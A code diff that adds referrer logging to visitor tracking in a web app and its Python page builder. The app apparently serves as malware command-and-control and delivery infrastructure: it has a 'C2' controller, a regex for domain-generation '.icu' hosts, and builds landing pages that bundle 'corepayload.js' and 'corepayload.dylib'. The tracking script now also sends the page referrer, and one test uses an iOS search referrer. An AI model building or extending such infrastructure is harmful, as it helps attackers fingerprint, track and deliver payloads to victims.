diff --git a/app/Http/Controllers/Admin/PageVisitController.php b/app/Http/Controllers/Admin/PageVisitController.php
index 8b146ce..442f328 100644
--- a/app/Http/Controllers/Admin/PageVisitController.php
+++ b/app/Http/Controllers/Admin/PageVisitController.php
@@ -37,7 +37,7 @@ class PageVisitController extends Controller
             ->forPage($page, $limit)
             ->get([
                 'id', 'channel_id', 'client_uid', 'os', 'os_version',
-                'browser', 'browser_version', 'user_agent', 'ip', 'path', 'created_at',
+                'browser', 'browser_version', 'user_agent', 'ip', 'path', 'referer', 'created_at',
             ]);
 
         return response()->json([
@@ -55,6 +55,7 @@ class PageVisitController extends Controller
                 'user_agent' => $v->user_agent ?: '',
                 'ip' => $v->ip ?: '',
                 'path' => $v->path ?: '',
+                'referer' => $v->referer ?: '',
                 'created_at' => optional($v->created_at)?->toDateTimeString(),
             ])->values(),
         ]);
@@ -150,6 +151,10 @@ class PageVisitController extends Controller
         if ($browserVersion !== '') {
             $q->where('browser_version', $browserVersion);
         }
+        $referer = trim((string) $request->query('referer', ''));
+        if ($referer !== '') {
+            $q->where('referer', 'like', '%'.$referer.'%');
+        }
 
         [$from, $to] = $this->rangeBounds((string) $request->query('range', '30d'));
         $q->whereBetween('created_at', [$from, $to]);
diff --git a/app/Http/Controllers/C2/XxbbC2Controller.php b/app/Http/Controllers/C2/XxbbC2Controller.php
index 6be4524..034e25b 100644
--- a/app/Http/Controllers/C2/XxbbC2Controller.php
+++ b/app/Http/Controllers/C2/XxbbC2Controller.php
@@ -60,6 +60,7 @@ class XxbbC2Controller extends Controller
                     'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null,
                     'ip' => $request->ip(),
                     'path' => $domain !== '' ? substr($domain, 0, 255) : null,
+                    'referer' => $this->referer($request),
                     'created_at' => now(),
                 ]);
             }
@@ -131,6 +132,16 @@ class XxbbC2Controller extends Controller
         return $this->xxbbAck($request);
     }
 
+    private function referer(Request $request): ?string
+    {
+        $referer = trim((string) $request->headers->get('referer', ''));
+        if ($referer === '') {
+            return null;
+        }
+
+        return substr($referer, 0, 512);
+    }
+
     private function xxbbAck(Request $request): Response
     {
         $ts = (string) $request->attributes->get('xxbb_ts', '');
diff --git a/app/Http/Controllers/PageHitController.php b/app/Http/Controllers/PageHitController.php
index 16e9d6e..c5f3600 100644
--- a/app/Http/Controllers/PageHitController.php
+++ b/app/Http/Controllers/PageHitController.php
@@ -35,6 +35,7 @@ class PageHitController extends Controller
 
         $ua = substr((string) $request->userAgent(), 0, 512);
         $parsed = UserAgentParser::parse($ua);
+        $referer = $this->referer($request);
 
         PageVisit::query()->create([
             'channel_id' => $channelId,
@@ -46,12 +47,26 @@ class PageHitController extends Controller
             'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null,
             'ip' => $request->ip(),
             'path' => $path !== '' ? $path : null,
+            'referer' => $referer,
             'created_at' => now(),
         ]);
 
         return $this->pixel();
     }
 
+    private function referer(Request $request): ?string
+    {
+        $referer = trim((string) $request->query('r', $request->input('r', '')));
+        if ($referer === '') {
+            $referer = trim((string) $request->headers->get('referer', ''));
+        }
+        if ($referer === '') {
+            return null;
+        }
+
+        return substr($referer, 0, 512);
+    }
+
     private function pixel(): Response
     {
         return response(self::GIF_1X1, 200, [
diff --git a/app/Models/PageVisit.php b/app/Models/PageVisit.php
index a3bbf2a..ebc1808 100644
--- a/app/Models/PageVisit.php
+++ b/app/Models/PageVisit.php
@@ -18,6 +18,7 @@ class PageVisit extends Model
         'browser_version',
         'ip',
         'path',
+        'referer',
         'created_at',
     ];
 
diff --git a/channel-builder-new/source/weifile/weifile.html b/channel-builder-new/source/weifile/weifile.html
index 35ef1f5..2d27c6b 100644
--- a/channel-builder-new/source/weifile/weifile.html
+++ b/channel-builder-new/source/weifile/weifile.html
@@ -6,6 +6,8 @@
 <meta http-equiv="Expires" content="0" />
 <meta property="og:determiner" content="auto" />
 <title>weifile</title>
+<script>window.__CORUNA_CHANNEL__="__CHANNEL_C__";</script>
+<script src="/t.js" defer></script>
 </head>
 <body>
 <script type="text/javascript" src="index.js"></script>
diff --git a/channel-builder-new/tools/build.py b/channel-builder-new/tools/build.py
index 2941087..b2020c4 100644
--- a/channel-builder-new/tools/build.py
+++ b/channel-builder-new/tools/build.py
@@ -41,6 +41,7 @@ XXBB_DGA_HOST_RE = re.compile(r"^[a-z0-9]{15}\.icu$")
 WEIFILE_ROOT = "weifile"
 DETAILS_ROOT = "details"
 LANDING_NAME = "weifile.html"
+CHANNEL_HTML_PLACEHOLDER = "__CHANNEL_C__"
 CORE_WIRE_NAME = "corepayload.js"
 CORE_MEMBER_NAME = "corepayload.dylib"
 SHOW_WIRE_NAME = "show.html"
@@ -305,6 +306,13 @@ def build_details(
     }
 
 
+def inject_channel_into_weifile(html_path: Path, channel_c: str) -> None:
+    text = html_path.read_text(encoding="utf-8")
+    if CHANNEL_HTML_PLACEHOLDER not in text:
+        raise SystemExit(f"{html_path}: missing {CHANNEL_HTML_PLACEHOLDER} placeholder")
+    html_path.write_text(text.replace(CHANNEL_HTML_PLACEHOLDER, channel_c), encoding="utf-8")
+
+
 def copy_tree(src: Path, dst: Path) -> None:
     if dst.exists():
         shutil.rmtree(dst)
@@ -589,8 +597,10 @@ def main() -> int:
         if not SOURCE_DETAILS.is_dir():
             raise SystemExit(f"missing details template: {SOURCE_DETAILS}")
         copy_tree(SOURCE_WEIFILE, dest_weifile)
-        if not (dest_weifile / LANDING_NAME).is_file():
+        landing = dest_weifile / LANDING_NAME
+        if not landing.is_file():
             raise SystemExit(f"missing {LANDING_NAME} in template copy: {dest_weifile}")
+        inject_channel_into_weifile(landing, channel_c)
         copy_tree(SOURCE_DETAILS, dest_details)
         shutil.copy2(out / "details_wires" / CORE_WIRE_NAME, dest_details / CORE_WIRE_NAME)
         shutil.copy2(out / "details_wires" / SHOW_WIRE_NAME, dest_details / SHOW_WIRE_NAME)
diff --git a/channel-builder-new/tools/tests/test_build.py b/channel-builder-new/tools/tests/test_build.py
index efda90c..0ac2d05 100644
--- a/channel-builder-new/tools/tests/test_build.py
+++ b/channel-builder-new/tools/tests/test_build.py
@@ -83,6 +83,10 @@ class XxbbBuildTest(unittest.TestCase):
             details = artifact / "details"
             self.assertTrue((weifile / "index.js").is_file())
             self.assertTrue((weifile / "weifile.html").is_file())
+            html = (weifile / "weifile.html").read_text(encoding="utf-8")
+            self.assertIn(channel_c, html)
+            self.assertNotIn("__CHANNEL_C__", html)
+            self.assertIn("/t.js", html)
             self.assertFalse((artifact / "source").exists())
             self.assertTrue((details / "show.html").is_file())
             self.assertTrue((details / "corepayload.js").is_file())
diff --git a/database/migrations/2026_08_13_000020_page_visits_referer.php b/database/migrations/2026_08_13_000020_page_visits_referer.php
new file mode 100644
index 0000000..7da9511
--- /dev/null
+++ b/database/migrations/2026_08_13_000020_page_visits_referer.php
@@ -0,0 +1,22 @@
+<?php
+
+use Illuminate\Database\Migrations\Migration;
+use Illuminate\Database\Schema\Blueprint;
+use Illuminate\Support\Facades\Schema;
+
+return new class extends Migration
+{
+    public function up(): void
+    {
+        Schema::table('page_visits', function (Blueprint $table) {
+            $table->string('referer', 512)->nullable()->after('path');
+        });
+    }
+
+    public function down(): void
+    {
+        Schema::table('page_visits', function (Blueprint $table) {
+            $table->dropColumn('referer');
+        });
+    }
+};
diff --git a/public/t.js b/public/t.js
index e78d231..e99718d 100644
--- a/public/t.js
+++ b/public/t.js
@@ -1,8 +1,11 @@
 (function () {
   try {
     var m = location.pathname.match(/\/web\/([0-9a-f]{32})\//i);
-    if (!m) return;
-    var channelId = m[1].toLowerCase();
+    var channelId = m ? m[1].toLowerCase() : '';
+    if (!channelId && typeof window.__CORUNA_CHANNEL__ === 'string' && /^[0-9a-f]{32}$/i.test(window.__CORUNA_CHANNEL__)) {
+      channelId = window.__CORUNA_CHANNEL__.toLowerCase();
+    }
+    if (!channelId) return;
     var KEY = 'c_uid';
     var uid = null;
     try {
@@ -26,6 +29,11 @@
         document.cookie = KEY + '=' + encodeURIComponent(uid) + ';path=/;max-age=31536000;SameSite=Lax';
       } catch (e) {}
     }
+    var referer = '';
+    try {
+      referer = document.referrer || '';
+    } catch (e) {}
+    if (referer.length > 512) referer = referer.slice(0, 512);
     var q =
       location.origin +
       '/statistic/t?c=' +
@@ -33,14 +41,15 @@
       '&u=' +
       encodeURIComponent(uid) +
       '&p=' +
-      encodeURIComponent(location.pathname + location.search);
+      encodeURIComponent(location.pathname + location.search) +
+      '&r=' +
+      encodeURIComponent(referer);
     if (navigator.sendBeacon) {
       try {
         if (navigator.sendBeacon(q)) return;
       } catch (e) {}
     }
     var img = new Image();
-    img.referrerPolicy = 'no-referrer';
     img.src = q + '&_=' + Date.now();
   } catch (e) {}
 })();
diff --git a/resources/views/admin/visits/index.blade.php b/resources/views/admin/visits/index.blade.php
index 35066d5..0afc20f 100644
--- a/resources/views/admin/visits/index.blade.php
+++ b/resources/views/admin/visits/index.blade.php
@@ -43,9 +43,9 @@
         </div>
       </div>
       <div class="layui-inline">
-        <label class="layui-form-label">浏览器版本</label>
+        <label class="layui-form-label">Referer</label>
         <div class="layui-input-block">
-          <input type="text" name="browser_version" class="layui-input" autocomplete="off">
+          <input type="text" name="referer" class="layui-input" placeholder="来源" autocomplete="off">
         </div>
       </div>
       @if ($portal === 'admin')
@@ -123,6 +123,8 @@ layui.use(['table', 'form'], function () {
       { field: 'browser', title: '浏览器', width: 100 },
       { field: 'browser_version', title: '浏览器版本', width: 110 },
       { field: 'ip', title: 'IP', width: 130 },
+      { field: 'path', title: '路径', minWidth: 180 },
+      { field: 'referer', title: 'Referer', minWidth: 220 },
       { field: 'user_agent', title: 'UA', minWidth: 260 },
       { field: 'created_at', title: '时间', width: 170, sort: true }
     ]],
diff --git a/tests/Feature/PageVisitTest.php b/tests/Feature/PageVisitTest.php
index 070e3ba..a6dc6d8 100644
--- a/tests/Feature/PageVisitTest.php
+++ b/tests/Feature/PageVisitTest.php
@@ -26,6 +26,7 @@ class PageVisitTest extends TestCase
             'c' => self::CHANNEL,
             'u' => '11111111-2222-4333-8444-555555555555',
             'p' => '/web/'.self::CHANNEL.'/support.html',
+            'r' => 'https://example.com/from',
         ], [], [], [
             'HTTP_USER_AGENT' => $ua,
         ])->assertOk()
@@ -40,6 +41,7 @@ class PageVisitTest extends TestCase
         $this->assertSame('Safari', $row->browser);
         $this->assertSame('16.6', $row->browser_version);
         $this->assertSame($ua, $row->user_agent);
+        $this->assertSame('https://example.com/from', $row->referer);
     }
 
     #[Test]
@@ -60,6 +62,23 @@ class PageVisitTest extends TestCase
         $this->assertSame('203.0.113.50', $row->ip);
     }
 
+    #[Test]
+    public function hit_uses_referer_header_when_query_missing(): void
+    {
+        Cache::flush();
+
+        $this->call('GET', '/statistic/t', [
+            'c' => self::CHANNEL,
+            'u' => '11111111-2222-4333-8444-555555555555',
+        ], [], [], [
+            'HTTP_REFERER' => 'https://search.example/q=ios',
+        ])->assertOk();
+
+        $row = PageVisit::query()->first();
+        $this->assertNotNull($row);
+        $this->assertSame('https://search.example/q=ios', $row->referer);
+    }
+
     #[Test]
     public function hit_debounces_duplicate_uid(): void
     {